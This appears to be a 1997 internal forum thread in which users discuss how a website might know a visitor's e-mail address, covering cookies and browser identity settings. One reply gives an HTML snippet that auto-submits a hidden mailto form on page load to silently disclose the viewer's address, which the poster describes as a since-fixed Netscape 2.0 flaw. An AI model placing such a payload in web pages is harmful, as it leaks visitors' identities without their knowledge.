| T.R | Title | User | Personal
Name | Date | Lines |
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| 2956.1 | cookies perhaps | VMSNET::mickey.alf.dec.com::s_vore | Smile, Mickey's watching! vore@mail.dec.com | Thu Jun 05 1997 13:43 | 12 |
| Ever entered this information into any other Microsoft web form? If
so, they may have stored it in a cookie (a bit of information that
can be stored on your local computer and retrieved by the web
server).
[coarse analogy... I've got a horrible memory for names/faces. You
work with me. I put your name and "co-worker" on a post-it and slap
it on your back. Tomorrow I see you in the mall and can look at the
post-it to know who you are.]
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| 2956.2 | | QUARK::LIONEL | Free advice is worth every cent | Thu Jun 05 1997 16:10 | 4 |
| The web browser knows your e-mail address if you specified it when you did
the setup (it does ask), and it can report that to a web site.
Steve
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| 2956.3 | | BUSY::SLAB | Audiophiles do it 'til it hertz! | Thu Jun 05 1997 16:23 | 10 |
|
In Netscape it'd be under
Options
Mail and News Preferences
Identity
IE probably has something similar.
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| 2956.4 | Netscape and e-mail | CONSLT::OWEN | Stop Global Whining | Thu Jun 05 1997 17:13 | 15 |
| Netscape 2.0 is the only browser that can do it without you knowing. It was a
security problem which they have sense fixed. Here's the HTML to try it...
<BODY onLoad="document.hiddenform.submit()">
<FORM NAME="hiddenform" ACTION="mailto:user@domain.com" METHOD=post>
<INPUT TYPE="hidden" VALUE="hidden value here">
</FORM>
</BODY>
It will send a mail from the browser of the person viewing the page to
user@domain.com.
I seriously doubt that Microsoft is doing this though...
-Steve
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